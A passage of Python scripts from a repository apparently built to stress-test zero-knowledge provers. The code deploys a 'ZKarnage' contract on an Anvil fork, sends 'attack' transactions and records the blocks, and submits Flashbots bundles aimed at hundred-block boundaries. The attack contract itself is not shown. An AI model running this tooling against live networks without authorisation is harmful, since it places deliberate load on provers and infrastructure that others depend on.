135 | result = subprocess.run(compile_cmd, capture_output=True, text=True)
136 | if result.returncode != 0:
137 | print(f"Error compiling contract: {result.stderr}")
138 | sys.exit(1)
139 |
140 | # Get the contract name from the path
141 | contract_name = "ZKarnage" # Hardcoded based on user edit
142 | # Construct the path to the build artifact
143 | artifact_path = Path("out") / f"{Path(contract_path).name}" / f"{contract_name}.json"
144 |
145 | # Read the bytecode from the artifact
146 | try:
147 | with open(artifact_path, "r") as f:
148 | artifact = json.load(f)
149 | bytecode = artifact["bytecode"]["object"]
150 | if not bytecode.startswith("0x"):
151 | bytecode = "0x" + bytecode
152 | except FileNotFoundError:
153 | print(f"Error: Build artifact not found at {artifact_path}")
154 | sys.exit(1)
155 | except KeyError:
156 | print(f"Error: Could not find bytecode in artifact {artifact_path}")
157 | sys.exit(1)
158 |
159 | print(f"Bytecode length: {len(bytecode)//2 -1}")
160 |
161 | # Deploy the contract using cast send --create
162 | deploy_cmd = [
163 | "cast", "send",
164 | "--rpc-url", rpc_url,
165 | "--private-key", private_key,
166 | "--create", bytecode,
167 | ]
168 |
169 | result = subprocess.run(deploy_cmd, capture_output=True, text=True)
170 | if result.returncode != 0:
171 | # Check if the error is due to insufficient funds
172 | if "insufficient funds" in result.stderr.lower():
173 | print(f"Deployment failed: Insufficient funds for account associated with private key.")
174 | else:
175 | print(f"Error deploying contract with cast send --create: {result.stderr}")
176 | sys.exit(1)
177 |
178 | # Extract deployed address from output
179 | output = result.stdout
180 | # Look for contractAddress in the output JSON (less likely for cast send)
181 | try:
182 | receipt_json = json.loads(output)
183 | address = receipt_json.get("contractAddress")
184 | if address:
185 | print(f"Contract deployed at: {address}")
186 | return address
187 | else:
188 | print(f"Could not find 'contractAddress' in cast send output JSON: {output}")
189 | # Don't exit here, try text parsing next
190 | except json.JSONDecodeError:
191 | pass # Expected if output is not JSON, try text parsing
192 |
193 | # Fallback: Parse text output for contract address
194 | for line in output.split("\n"):
195 | line_stripped = line.strip()
196 | # Look for lines starting with 'contractAddress' followed by whitespace
197 | if line_stripped.lower().startswith("contractaddress"):
198 | parts = line_stripped.split()
199 | if len(parts) >= 2:
200 | potential_address = parts[-1]
201 | if potential_address.startswith("0x") and len(potential_address) == 42:
202 | print(f"Contract deployed at: {potential_address}")
203 | return potential_address
204 | # Check for older formats just in case
205 | elif "contractAddress:" in line:
206 | address = line.split("contractAddress:")[1].strip()
207 | if address.startswith("0x") and len(address) == 42:
208 | print(f"Contract deployed at: {address}")
209 | return address
210 |
211 |
212 | print(f"Could not find deployed contract address in cast send --create output: {output}")
213 | sys.exit(1)
214 |
215 | def execute_attack_tx(
216 | contract_address: str,
217 | attack_type: str,
218 | gas_limit: int,
219 | gas_threshold: int,
220 | rpc_url: str,
221 | private_key: str,
222 | ) -> str:
223 | """Execute the attack transaction and return the transaction hash"""
224 | print(f"Executing {attack_type} attack...")
225 |
226 | # Get operation code from mapping
227 | op_code = OPERATION_CODES[attack_type]
228 |
229 | # First, calculate the function selector for f(uint256,uint256,uint256)
230 | print("Calculating function selector...")
231 | function_hash_cmd = ["cast", "sig", "f(uint256,uint256,uint256)"]
232 | print(f"Running: {' '.join(function_hash_cmd)}")
233 | result = subprocess.run(function_hash_cmd, capture_output=True, text=True)
234 | if result.returncode != 0:
235 | print(f"Error calculating function selector: {result.stderr}")
236 | sys.exit(1)
237 |
238 | # The output of 'cast sig' is already the full selector with 0x prefix
239 | function_selector = result.stdout.strip()
240 | print(f"Function selector: {function_selector}")
241 |
242 | # Now encode the parameters using abi-encode
243 | print("Encoding parameters...")
244 | param_cmd = [
245 | "cast", "abi-encode",
246 | "f(uint256,uint256,uint256)",
247 | op_code,
248 | str(gas_threshold),
249 | "0x0000000000000000000000000000000000000000"
250 | ]
251 | print(f"Running: {' '.join(param_cmd)}")
252 | result = subprocess.run(param_cmd, capture_output=True, text=True)
253 | if result.returncode != 0:
254 | print(f"Error generating transaction data: {result.stderr}")
255 | sys.exit(1)
256 |
257 | param_data = result.stdout.strip()
258 | print(f"Raw encoded parameters: {param_data}")
259 |
260 | # Extract just the parameter data (removing function selector if present)
261 | if param_data.startswith("0x"):
262 | # Check if it already includes a function selector (first 10 chars including 0x)
263 | if len(param_data) >= 10:
264 | encoded_params = param_data[10:] # Skip "0x" + 8 chars of selector
265 | else:
266 | encoded_params = param_data[2:] # Just skip "0x"
267 | else:
268 | encoded_params = param_data
269 |
270 | # Create transaction data by combining selector and parameters
271 | tx_data = function_selector + encoded_params
272 | print(f"Final transaction data: {tx_data}")
273 |
274 | # Try an alternative approach as well - using cast calldata
275 | print("Alternative approach with cast calldata...")
276 | calldata_cmd = [
277 | "cast", "calldata",
278 | "f(uint256,uint256,uint256)",
279 | op_code,
280 | str(gas_threshold),
281 | "0x0000000000000000000000000000000000000000"
282 | ]
283 | print(f"Running: {' '.join(calldata_cmd)}")
284 | result = subprocess.run(calldata_cmd, capture_output=True, text=True)
285 | if result.returncode != 0:
286 | print(f"Error generating calldata: {result.stderr}")
287 | else:
288 | alt_tx_data = result.stdout.strip()
289 | print(f"Alternative transaction data: {alt_tx_data}")
290 | # Use this alternative data if available
291 | if alt_tx_data.startswith("0x") and len(alt_tx_data) >= 10:
292 | tx_data = alt_tx_data
293 | print(f"Using alternative transaction data")
294 |
295 | # Send the transaction
296 | send_cmd = [
297 | "cast", "send",
298 | "--rpc-url", rpc_url,
299 | "--private-key", private_key,
300 | "--gas-limit", str(gas_limit),
301 | contract_address,
302 | tx_data
303 | ]
304 | print(f"Sending transaction: cast send --rpc-url --private-key --gas-limit {gas_limit} {contract_address} {tx_data}")
305 |
306 | result = subprocess.run(send_cmd, capture_output=True, text=True)
307 | if result.returncode != 0:
308 | # Check for common errors like nonce issues or insufficient funds
309 | stderr_lower = result.stderr.lower()
310 | if "insufficient funds" in stderr_lower:
311 | print(f"Transaction failed: Insufficient funds for account.")
312 | elif "nonce too low" in stderr_lower or "invalid nonce" in stderr_lower:
313 | print(f"Transaction failed: Nonce issue. Try again or reset Anvil account state.")
314 | else:
315 | print(f"Error sending transaction: {result.stderr}")
316 | sys.exit(1)
317 |
318 | # Extract transaction hash from output
319 | output = result.stdout
320 | # Try parsing as JSON first
321 | try:
322 | receipt_json = json.loads(output)
323 | tx_hash = receipt_json.get("transactionHash")
324 | if tx_hash and tx_hash.startswith("0x") and len(tx_hash) == 66:
325 | print(f"Transaction sent: {tx_hash}")
326 | return tx_hash
327 | else:
328 | print(f"Could not find valid 'transactionHash' in cast send output JSON: {output}")
329 | # Don't exit, try text parsing
330 | except json.JSONDecodeError:
331 | pass # Expected if output is not JSON, try text parsing
332 |
333 | # Fallback: Parse text output for transaction hash
334 | for line in output.split("\n"):
335 | line_stripped = line.strip()
336 | # Look for lines starting with 'transactionHash'
337 | if line_stripped.lower().startswith("transactionhash"):
338 | parts = line_stripped.split()
339 | if len(parts) >= 2:
340 | potential_hash = parts[-1]
341 | if potential_hash.startswith("0x") and len(potential_hash) == 66:
342 | print(f"Transaction sent: {potential_hash}")
343 | return potential_hash
344 | # Original check as a final fallback
345 | elif line_stripped.startswith("0x") and len(line_stripped) == 66:
346 | tx_hash = line_stripped
347 | print(f"Transaction sent: {tx_hash}")
348 | return tx_hash
349 |
350 | print(f"Could not find transaction hash in cast output: {output}")
351 | sys.exit(1)
352 |
353 | def get_block_data(w3: Web3, tx_hash: str, fork_block: int) -> Dict:
354 | """Get the block data containing the transaction and all blocks since fork"""
355 | print("Retrieving block data...")
356 |
357 | # Wait for transaction to be mined
358 | receipt = None
359 | max_attempts = 30
360 | for _ in range(max_attempts):
361 | try:
362 | receipt = w3.eth.get_transaction_receipt(tx_hash)
363 | if receipt and receipt.blockNumber:
364 | break
365 | except Exception:
366 | pass
367 | time.sleep(1)
368 |
369 | if not receipt or not receipt.blockNumber:
370 | print(f"Transaction not mined after {max_attempts} attempts")
371 | sys.exit(1)
372 |
373 | block_number = receipt.blockNumber
374 | print(f"Transaction mined in block {block_number}")
375 |
376 | # Calculate block range to fetch
377 | start_block = fork_block + 1 # Start from block after fork
378 | end_block = block_number # End at the attack block
379 |
380 | # Fetch all blocks in range
381 | blocks = {}
382 | print(f"Fetching all blocks from {start_block} to {end_block}...")
383 |
384 | for block_num in range(start_block, end_block + 1):
385 | try:
386 | print(f"Fetching block {block_num}...")
387 | block = w3.eth.get_block(block_num, full_transactions=True)
388 | blocks[block_num] = block
389 | except Exception as e:
390 | print(f"Error fetching block {block_num}: {e}")
391 |
392 | # Also save the attack transaction's block number for reference
393 | blocks['attack_block_number'] = block_number
394 |
395 | return blocks
396 |
397 | def save_block_data(blocks: Dict, output_file: str):
398 | """Save all block data to a single JSON file with a 'blocks' key."""
399 | output_path = Path(output_file)
400 | output_dir = output_path.parent
401 |
402 | try:
403 | output_dir.mkdir(parents=True, exist_ok=True)
404 | except OSError as e:
405 | print(f"Error creating directory {output_dir}: {e}")
406 | sys.exit(1)
407 |
408 | # Get the attack block number
409 | attack_block_number = blocks.get('attack_block_number')
410 | if not attack_block_number:
411 | print("Warning: Could not determine attack block number")
412 |
413 | # Remove the special 'attack_block_number' key before processing blocks
414 | if 'attack_block_number' in blocks:
415 | del blocks['attack_block_number']
416 |
417 | # Create a dictionary to hold all block data
418 | output_data = {
419 | "attackBlockNumber": attack_block_number,
420 | "blocks": {}
421 | }
422 |
423 | # Convert all blocks to serializable format and add to output
424 | print(f"Processing {len(blocks)} blocks...")
425 | for block_num, block_data in blocks.items():
426 | try:
427 | # Convert block data to serializable format
428 | serializable_block = json.loads(Web3.to_json(block_data))
429 | output_data["blocks"][str(block_num)] = serializable_block
430 | print(f"Processed block {block_num}")
431 | except Exception as e:
432 | print(f"Error processing block {block_num}: {e}")
433 | # Attempt to manually serialize if possible
434 | try:
435 | serializable_block = {k: str(v) if isinstance(v, bytes) else v for k, v in dict(block_data).items()}
436 | # Further refine serialization for AttributeDict within transactions if needed
437 | if 'transactions' in serializable_block:
438 | serializable_block['transactions'] = [
439 | {k: str(v) if isinstance(v, bytes) else v for k, v in dict(tx).items()}
440 | for tx in serializable_block['transactions']
441 | ]
442 | output_data["blocks"][str(block_num)] = serializable_block
443 | print(f"Processed block {block_num} using simplified serialization")
444 | except Exception as e2:
445 | print(f"Failed to process block {block_num} even with simplified serialization: {e2}")
446 |
447 | # Save the complete data structure to the output file
448 | print(f"Saving all blocks to {output_path}...")
449 | with open(output_path, "w") as f:
450 | json.dump(output_data, f, indent=2)
451 |
452 | print(f"All blocks saved successfully to {output_path}")
453 | print(f"Saved data for {len(output_data['blocks'])} blocks with attack block #{attack_block_number}")
454 |
455 | def main():
456 | args = parse_args()
457 |
458 | # Start anvil process
459 | anvil_process = start_anvil(args.rpc_url, args.fork_block, args.anvil_port)
460 |
461 | try:
462 | local_rpc_url = f"http://localhost:{args.anvil_port}"
463 | w3 = Web3(Web3.HTTPProvider(local_rpc_url))
464 |
465 | # Verify connection to anvil
466 | if not w3.is_connected():
467 | print(f"Failed to connect to Anvil at {local_rpc_url}")
468 | sys.exit(1)
469 |
470 | # Deploy contract
471 | contract_address = deploy_contract(args.contract_path, local_rpc_url, args.private_key)
472 |
473 | # Execute attack transaction
474 | tx_hash = execute_attack_tx(
475 | contract_address,
476 | args.attack_type,
477 | args.gas_limit,
478 | args.gas_threshold,
479 | local_rpc_url,
480 | args.private_key
481 | )
482 |
483 | # Get block data for all blocks from fork to attack
484 | blocks_data = get_block_data(w3, tx_hash, args.fork_block)
485 |
486 | # Save block data
487 | save_block_data(blocks_data, args.output_file)
488 |
489 | print("Block generation completed successfully!")
490 |
491 | except Exception as e:
492 | print(f"Error: {e}")
493 | sys.exit(1)
494 | finally:
495 | # Terminate anvil process
496 | print("Terminating Anvil...")
497 | anvil_process.terminate()
498 | anvil_process.wait(timeout=5)
499 |
500 | if __name__ == "__main__":
501 | main()
--------------------------------------------------------------------------------
/script/run_attack.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | """
3 | ZKarnage: Zero-Knowledge Proof Stress Testing System
4 |
5 | Simplified script for targeting Flashbots transactions on hundred-block boundaries.
6 | """
7 |
8 | import os
9 | import sys
10 | import json
11 | import time
12 | import uuid
13 | import asyncio
14 | import logging
15 | import aiohttp
16 | import traceback
17 | import datetime
18 | from typing import List, Optional, Dict, Any
19 | from pathlib import Path
20 |
21 | from dotenv import load_dotenv
22 | from web3 import Web3, HTTPProvider
23 | from web3.exceptions import TransactionNotFound
24 | from eth_abi import encode
25 | from eth_account import Account, messages
26 | from eth_typing import Address
27 |
28 | # Configure logging
29 | def setup_logging():
30 | """Configure logging to both console and timestamped file."""
31 | # Create logs directory if it doesn't exist
32 | logs_dir = Path("logs")
33 | logs_dir.mkdir(exist_ok=True)
34 |
35 | # Generate ISO format timestamp for the log filename
36 | timestamp = datetime.datetime.now().isoformat().replace(':', '-').replace('.', '-')
37 | log_filename = logs_dir / f"zkarnage-attack-{timestamp}.log"
38 |
39 | # Configure root logger
40 | root_logger = logging.getLogger()
41 | root_logger.setLevel(logging.INFO)
42 |
43 | # Log format
44 | log_format = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
45 |
46 | # Configure console handler
47 | console_handler = logging.StreamHandler(sys.stdout)
48 | console_handler.setFormatter(log_format)
49 | root_logger.addHandler(console_handler)
50 |
51 | # Configure file handler
52 | file_handler = logging.FileHandler(log_filename)
53 | file_handler.setFormatter(log_format)
54 | root_logger.addHandler(file_handler)
55 |
56 | logger = logging.getLogger(__name__)
57 | logger.info(f"Logging to file: {log_filename}")
58 |
59 | return logger
60 |
61 | # Initialize logger
62 | logger = setup_logging()
63 |
64 | class ZKarnageError(Exception):
65 | """Base exception for ZKarnage errors."""
66 | pass
67 |
68 | class FlashbotsManager:
69 | """Manages Flashbots bundle submission and simulation."""
70 |
71 | def __init__(self, w3: Web3, relay_url: str, account: Account):
72 | self.w3 = w3
73 | self.relay_url = relay_url
74 | self.account = account
75 |
76 | def _sign_flashbots_message(self, msg_body: str) -> str:
77 | """
78 | Create Flashbots-compatible signature for request authentication.
79 |
80 | Args:
81 | msg_body: JSON payload to be signed
82 |
83 | Returns:
84 | Signed message string in format 'address:signature'
85 | """
86 | # Get hash as hex string
87 | message_hash_hex = self.w3.keccak(text=msg_body).hex()
88 |
89 | # Create message object using the hash hex string
90 | message = messages.encode_defunct(text=message_hash_hex)
91 |
92 | # Sign the message
93 | signed_message = self.w3.eth.account.sign_message(message, self.account.key)
94 |
95 | # Format as address:signature
96 | signature = f"{self.account.address}:{signed_message.signature.hex()}"
97 |
98 | return signature
99 |
100 | async def simulate_bundle(
101 | self,
102 | bundle: List[bytes],
103 | target_block: int,
104 | state_block: str = 'latest'
105 | ) -> Dict[str, Any]:
106 | """
107 | Simulate Flashbots bundle submission using eth_callBundle.
108 |
109 | Args:
110 | bundle: List of signed transaction bytes
111 | target_block: Block number to target
112 | state_block: State block to base simulation on
113 |
114 | Returns:
115 | Simulation result dictionary
116 | """
117 | try:
118 | # Convert transactions to hex strings without the 0x prefix for Flashbots
119 | hex_txs = [tx.hex() if not isinstance(tx, str) else tx for tx in bundle]
120 |
121 | # Ensure 0x prefix for Flashbots
122 | hex_txs = ["0x" + tx[2:] if tx.startswith("0x") else "0x" + tx for tx in hex_txs]
123 |
124 | # Debug print transaction data
125 | logger.info(f"Transaction data (first 100 chars): {hex_txs[0][:100]}...")
126 | logger.info(f"Transaction type: {hex_txs[0][2:4]}") # Print transaction type (first byte after 0x)
127 |
128 | # Prepare simulation request
129 | sim_request = {
130 | "jsonrpc": "2.0",
131 | "id": 1,
132 | "method": "eth_callBundle",
133 | "params": [{
134 | "txs": hex_txs,
135 | "blockNumber": hex(target_block),
136 | "stateBlockNumber": state_block,
137 | "timestamp": int(time.time())
138 | }]
139 | }
140 |
141 | # Convert request to JSON
142 | request_json = json.dumps(sim_request)
143 |
144 | # Debug print request
145 | logger.info(f"Simulation request: {request_json}")
146 |
147 | # Sign the request
148 | signature = self._sign_flashbots_message(request_json)
149 |
150 | # Prepare headers
151 | headers = {
152 | 'Content-Type': 'application/json',
153 | 'X-Flashbots-Signature': signature
154 | }
155 |
156 | # Debug print headers
157 | logger.info(f"Request headers: {headers}")
158 |
159 | # Send simulation request
160 | async with aiohttp.ClientSession() as session:
161 | async with session.post(
162 | self.relay_url,
163 | data=request_json,
164 | headers=headers
165 | ) as response:
166 | response_text = await response.text()
167 | logger.info(f"Response status: {response.status}")
168 | logger.info(f"Response body: {response_text}")
169 |
170 | if response.status != 200:
171 | logger.error(f"Simulation request failed with status {response.status}")
172 | return {"success": False, "error": response_text}
173 |
174 | result = json.loads(response_text)
175 |
176 | # Log simulation details
177 | logger.info(f"Bundle simulation for block {target_block}")
178 | logger.info(f"Gas used: {result.get('result', {}).get('totalGasUsed', 'N/A')}")
179 |
180 | # Check for simulation success (no reverts)
181 | bundle_results = result.get('result', {}).get('results', [])
182 | success = all(
183 | not (res.get('error') or res.get('revert'))
184 | for res in bundle_results
185 | )
186 |
187 | return {
188 | "success": success,
189 | "details": result.get('result', {}),
190 | "raw_result": result
191 | }
192 |
193 | except Exception as e:
194 | logger.error(f"Bundle simulation failed: {e}")
195 | logger.error(f"Traceback: {traceback.format_exc()}")
196 | return {"success": False, "error": str(e)}
197 |
198 | async def submit_bundle(
199 | self,
200 | bundle: List[bytes],
201 | target_block: int,
202 | min_timestamp: Optional[int] = None,
203 | max_timestamp: Optional[int] = None
204 | ) -> Optional[Dict[str, Any]]:
205 | """
206 | Submit bundle to Flashbots relay using eth_sendBundle.
207 |
208 | Args:
209 | bundle: List of signed transaction bytes
210 | target_block: Block number to target
211 | min_timestamp: Minimum timestamp for bundle validity
212 | max_timestamp: Maximum timestamp for bundle validity
213 |
214 | Returns:
215 | Bundle submission result dictionary
216 | """
217 | try:
218 | # Convert transactions to hex strings with 0x prefix
219 | hex_txs = [tx.hex() if not isinstance(tx, str) else tx for tx in bundle]
220 | hex_txs = ["0x" + tx[2:] if tx.startswith("0x") else "0x" + tx for tx in hex_txs]
221 |
222 | # Debug print transaction data
223 | logger.info(f"Transaction data (first 100 chars): {hex_txs[0][:100]}...")
224 | logger.info(f"Transaction type: {hex_txs[0][2:4]}") # Print transaction type (first byte after 0x)
225 |
226 | # Prepare bundle submission request
227 | bundle_request = {
228 | "jsonrpc": "2.0",
229 | "id": int(time.time() * 1000), # Unique ID
230 | "method": "eth_sendBundle",
231 | "params": [{
232 | "txs": hex_txs,
233 | "blockNumber": hex(target_block),
234 | "minTimestamp": min_timestamp or 0,
235 | "maxTimestamp": max_timestamp or int(time.time()) + 420, # 7 minutes from now
236 | "replacementUuid": str(uuid.uuid4())
237 | }]
238 | }
239 |
240 | # Convert request to JSON
241 | request_json = json.dumps(bundle_request)
242 |
243 | # Debug print request
244 | logger.info(f"Bundle submission request: {request_json}")
245 |
246 | # Sign the request
247 | signature = self._sign_flashbots_message(request_json)
248 |
249 | # Prepare headers
250 | headers = {
251 | 'Content-Type': 'application/json',
252 | 'X-Flashbots-Signature': signature
253 | }
254 |
255 | # Debug print headers
256 | logger.info(f"Request headers: {headers}")
257 |
258 | # Send bundle submission request
259 | async with aiohttp.ClientSession() as session:
260 | async with session.post(
261 | self.relay_url,
262 | data=request_json,
263 | headers=headers
264 | ) as response:
265 | response_text = await response.text()
266 | logger.info(f"Response status: {response.status}")
267 | logger.info(f"Response body: {response_text}")
268 |
269 | if response.status != 200:
270 | logger.error(f"Bundle submission failed with status {response.status}")
271 | return None
272 |
273 | result = json.loads(response_text)
274 |
275 | # Extract bundle hash
276 | bundle_hash = result.get('result', {}).get('bundleHash')
277 |
278 | if bundle_hash:
279 | logger.info(f"Bundle submitted successfully to block {target_block}")
280 | logger.info(f"Bundle Hash: {bundle_hash}")
281 | return {
282 | "bundle_hash": bundle_hash,
283 | "raw_result": result
284 | }
285 | else:
286 | logger.warning("No bundle hash returned")
287 | return None
288 |
289 | except Exception as e:
290 | logger.error(f"Bundle submission failed: {e}")
291 | logger.error(f"Traceback: {traceback.format_exc()}")
292 | return None
293 |
294 | async def check_flashbots_status(self, bundle_hash: str, target_block: Optional[int] = None) -> Dict[str, Any]:
295 | """
296 | Check the status of a bundle submission with Flashbots using V2 API.
297 |
298 | Args:
299 | bundle_hash: The hash of the bundle to check
300 | target_block: The target block number (required for V2 API)
301 |
302 | Returns:
303 | Bundle status information
304 | """
305 | try:
306 | # V2 API requires blockNumber parameter
307 | if target_block is None:
308 | logger.error("Target block is required for flashbots_getBundleStatsV2")
309 | return {"success": False, "error": "Target block is required"}
310 |
311 | # Prepare params with required fields
312 | params = [{
313 | "bundleHash": bundle_hash,
314 | "blockNumber": hex(target_block)
315 | }]
316 |
317 | # Prepare bundle status request
318 | status_request = {
319 | "jsonrpc": "2.0",
320 | "id": int(time.time() * 1000),
321 | "method": "flashbots_getBundleStatsV2",
322 | "params": params
323 | }
324 |
325 | # Convert request to JSON
326 | request_json = json.dumps(status_request)
327 |
328 | # Debug print request
329 | logger.info(f"V2 Bundle status request: {request_json}")
330 |
331 | # Sign the request
332 | signature = self._sign_flashbots_message(request_json)
333 |
334 | # Prepare headers
335 | headers = {
336 | 'Content-Type': 'application/json',
337 | 'X-Flashbots-Signature': signature
338 | }
339 |
340 | # Send status request
341 | async with aiohttp.ClientSession() as session:
342 | async with session.post(
343 | self.relay_url,
344 | data=request_json,
345 | headers=headers
346 | ) as response:
347 | response_text = await response.text()
348 | logger.info(f"Bundle V2 status response: {response_text}")
349 |
350 | if response.status != 200:
351 | logger.error(f"Bundle status check failed with status {response.status}")
352 | return {"success": False, "error": response_text}
353 |
354 | result = json.loads(response_text)
355 |
356 | # Log meaningful information from the V2 response
357 | if 'result' in result:
358 | status_result = result.get('result', {})
359 | logger.info(f"Bundle is {'high priority' if status_result.get('isHighPriority') else 'standard priority'}")
360 | logger.info(f"Bundle has{' ' if status_result.get('isSimulated') else ' not '}been simulated")
361 |
362 | if status_result.get('receivedAt'):
363 | logger.info(f"Bundle was received at: {status_result.get('receivedAt')}")
364 |
365 | if status_result.get('simulatedAt'):
366 | logger.info(f"Bundle was simulated at: {status_result.get('simulatedAt')}")
367 |
368 | builder_count = len(status_result.get('consideredByBuildersAt', []))
369 | if builder_count > 0:
370 | logger.info(f"Bundle was considered by {builder_count} builders")
371 |
372 | sealed_count = len(status_result.get('sealedByBuildersAt', []))
373 | if sealed_count > 0:
374 | logger.info(f"Bundle was sealed by {sealed_count} builders!")
375 | elif builder_count > 0 and sealed_count == 0:
376 | logger.warning("Bundle was considered but not sealed by any builders")
377 |
378 | return result
379 |
380 | except Exception as e:
381 | logger.error(f"Error checking bundle V2 status: {e}")
382 | logger.error(f"Traceback: {traceback.format_exc()}")
383 | return {"success": False, "error": str(e)}
384 |
385 | async def check_user_stats(self, block_number: Optional[int] = None) -> Dict[str, Any]:
386 | """
387 | Check user stats with Flashbots using flashbots_getUserStatsV2.
388 |
389 | Args:
390 | block_number: A recent block number (required to prevent replay attacks)
391 |
392 | Returns:
393 | User stats information
394 | """
395 | try:
396 | # Use current block if none provided
397 | if block_number is None:
398 | block_number = self.w3.eth.block_number
399 |
400 | # Prepare params with required fields
401 | params = [{
402 | "blockNumber": hex(block_number)
403 | }]
404 |
405 | # Prepare user stats request
406 | stats_request = {
407 | "jsonrpc": "2.0",
408 | "id": int(time.time() * 1000),
409 | "method": "flashbots_getUserStatsV2",
410 | "params": params
411 | }
412 |
413 | # Convert request to JSON
414 | request_json = json.dumps(stats_request)
415 |
416 | # Debug print request
417 | logger.info(f"User stats request: {request_json}")
418 |
419 | # Sign the request
420 | signature = self._sign_flashbots_message(request_json)
421 |
422 | # Prepare headers
423 | headers = {
424 | 'Content-Type': 'application/json',
425 | 'X-Flashbots-Signature': signature
426 | }
427 |
428 | # Send stats request
429 | async with aiohttp.ClientSession() as session:
430 | async with session.post(
431 | self.relay_url,
432 | data=request_json,
433 | headers=headers
434 | ) as response:
435 | response_text = await response.text()
436 | logger.info(f"User stats response: {response_text}")
437 |
438 | if response.status != 200:
439 | logger.error(f"User stats check failed with status {response.status}")
440 | return {"success": False, "error": response_text}
441 |
442 | result = json.loads(response_text)
443 |
444 | # Log meaningful information from the response
445 | if 'result' in result:
446 | stats = result.get('result', {})
447 | is_high_priority = stats.get('isHighPriority', False)
448 | logger.info(f"User has {'HIGH' if is_high_priority else 'STANDARD'} priority status")
449 |
450 | # Format payments as ETH for better readability
451 | all_time_payments = stats.get('allTimeValidatorPayments', '0')
452 | all_time_eth = float(all_time_payments) / 1e18 if all_time_payments else 0
453 | logger.info(f"All-time validator payments: {all_time_eth:.4f} ETH")
454 |
455 | last_7d_payments = stats.get('last7dValidatorPayments', '0')
456 | last_7d_eth = float(last_7d_payments) / 1e18 if last_7d_payments else 0
457 | logger.info(f"Last 7 days validator payments: {last_7d_eth:.4f} ETH")
458 |
459 | # Log gas usage
460 | all_time_gas = stats.get('allTimeGasSimulated', '0')
461 | logger.info(f"All-time gas simulated: {all_time_gas}")
462 |
463 | return result
464 |
465 | except Exception as e:
466 | logger.error(f"Error checking user stats: {e}")
467 | logger.error(f"Traceback: {traceback.format_exc()}")
468 | return {"success": False, "error": str(e)}
469 |
470 | async def check_transaction_status(self, tx_hash: str, network: str = "mainnet") -> Dict[str, Any]:
471 | """
472 | Check transaction status using web3.py.
473 |
474 | Args:
475 | tx_hash: Transaction hash to check
476 | network: Network to check on (not used with web3.py implementation)
477 |
478 | Returns:
479 | Transaction status information
480 | """
481 | try:
482 | # Try to get the transaction receipt
483 | try:
484 | receipt = self.w3.eth.get_transaction_receipt(tx_hash)
485 | if receipt:
486 | # Transaction has been mined
487 | success = receipt.status == 1
488 | logger.info(f"Transaction Status: {'SUCCESS' if success else 'FAILED'}")
489 |
490 | # Get the full transaction for more details
491 | tx = self.w3.eth.get_transaction(tx_hash)
492 |
493 | # Log transaction details
494 | logger.info(f"From: {tx.get('from', 'N/A')}")
495 | logger.info(f"To: {tx.get('to', 'N/A')}")
496 | logger.info(f"Gas Limit: {tx.get('gas', 'N/A')}")
497 | logger.info(f"Max Fee: {tx.get('maxFeePerGas', 'N/A')}")
498 | logger.info(f"Priority Fee: {tx.get('maxPriorityFeePerGas', 'N/A')}")
499 | logger.info(f"Block Number: {receipt.blockNumber}")
500 | logger.info(f"Gas Used: {receipt.gasUsed}")
501 |
502 | return {
503 | "success": True,
504 | "status": "INCLUDED" if success else "FAILED",
505 | "transaction": {
506 | "from": tx.get('from'),
507 | "to": tx.get('to'),
508 | "gasLimit": tx.get('gas'),
509 | "maxFeePerGas": tx.get('maxFeePerGas'),
510 | "maxPriorityFeePerGas": tx.get('maxPriorityFeePerGas'),
511 | "blockNumber": receipt.blockNumber,
512 | "gasUsed": receipt.gasUsed
513 | }
514 | }
515 |
516 | except TransactionNotFound:
517 | # Transaction is not mined yet
518 | # Try to get pending transaction
519 | try:
520 | tx = self.w3.eth.get_transaction(tx_hash)
521 | if tx:
522 | logger.info("Transaction Status: PENDING")
523 | logger.info("Transaction is in mempool but not mined yet")
524 |
525 | return {
526 | "success": True,
527 | "status": "PENDING",
528 | "transaction": {
529 | "from": tx.get('from'),
530 | "to": tx.get('to'),
531 | "gasLimit": tx.get('gas'),
532 | "maxFeePerGas": tx.get('maxFeePerGas'),
533 | "maxPriorityFeePerGas": tx.get('maxPriorityFeePerGas')
534 | }
535 | }
536 | else:
537 | logger.warning("Transaction not found in mempool or blockchain")
538 | return {
539 | "success": False,
540 | "status": "NOT_FOUND",
541 | "error": "Transaction not found in mempool or blockchain"
542 | }
543 |
544 | except Exception as e:
545 | logger.warning(f"Error checking pending transaction: {e}")
546 | return {
547 | "success": False,
548 | "status": "ERROR",
549 | "error": f"Error checking pending transaction: {str(e)}"
550 | }
551 |
552 | except Exception as e:
553 | logger.error(f"Error checking transaction status: {e}")
554 | logger.error(f"Traceback: {traceback.format_exc()}")
555 | return {
556 | "success": False,
557 | "status": "ERROR",
558 | "error": str(e)
559 | }
560 |
561 | class ZKarnage:
562 | """Main ZKarnage attack orchestration class."""
563 |
564 | def __init__(
565 | self,
566 | w3: Web3,
567 | account: Account,
568 | relay_url: str,
569 | contract_address: Optional[Address] = None
570 | ):
571 | self.w3 = w3
572 | self.account = account
573 | self.contract_address = contract_address
574 | self.flashbots = FlashbotsManager(w3, relay_url, account)
575 |
576 | def get_next_hundred_block(self, current_block: Optional[int] = None) -> int:
577 | """
578 | Calculate the next block divisible by 100.
579 |
580 | Args:
581 | current_block: Starting block number (default: current blockchain block)
582 |
583 | Returns:
584 | Next block number divisible by 100
585 | """
586 | current = current_block or self.w3.eth.block_number
587 | return current + (100 - (current % 100))
588 |
589 | async def check_bundle_status(self, bundle_hash: str, target_block: int, tx_hash: Optional[str] = None) -> bool:
590 | """
591 | Check if a bundle was included using Flashbots API.
592 |
593 | Args:
594 | bundle_hash: The hash of the bundle to check
595 | target_block: The target block number
596 | tx_hash: Optional transaction hash to check individual tx status
597 |
598 | Returns:
599 | Whether the bundle was included
600 | """
601 | try:
602 | # Wait until we've reached the target block
603 | current_block = self.w3.eth.block_number
604 | if current_block < target_block:
605 | logger.info(f"Waiting for target block {target_block}, current block is {current_block}")
606 |
607 | last_logged_block = current_block
608 | last_status_check = 0
609 | while current_block < target_block:
610 | # Check bundle status every 15 seconds while waiting
611 | if time.time() - last_status_check > 15:
612 | logger.info(f"Checking current bundle status while waiting...")
613 |
614 | # Use the V2 API for more detailed status
615 | status = await self.flashbots.check_flashbots_status(bundle_hash, target_block)
616 |
617 | if 'result' in status:
618 | status_result = status.get('result', {})
619 |
620 | # Check for builder consideration
621 | builders = status_result.get('consideredByBuildersAt', [])
622 | seals = status_result.get('sealedByBuildersAt', [])
623 |
624 | if seals:
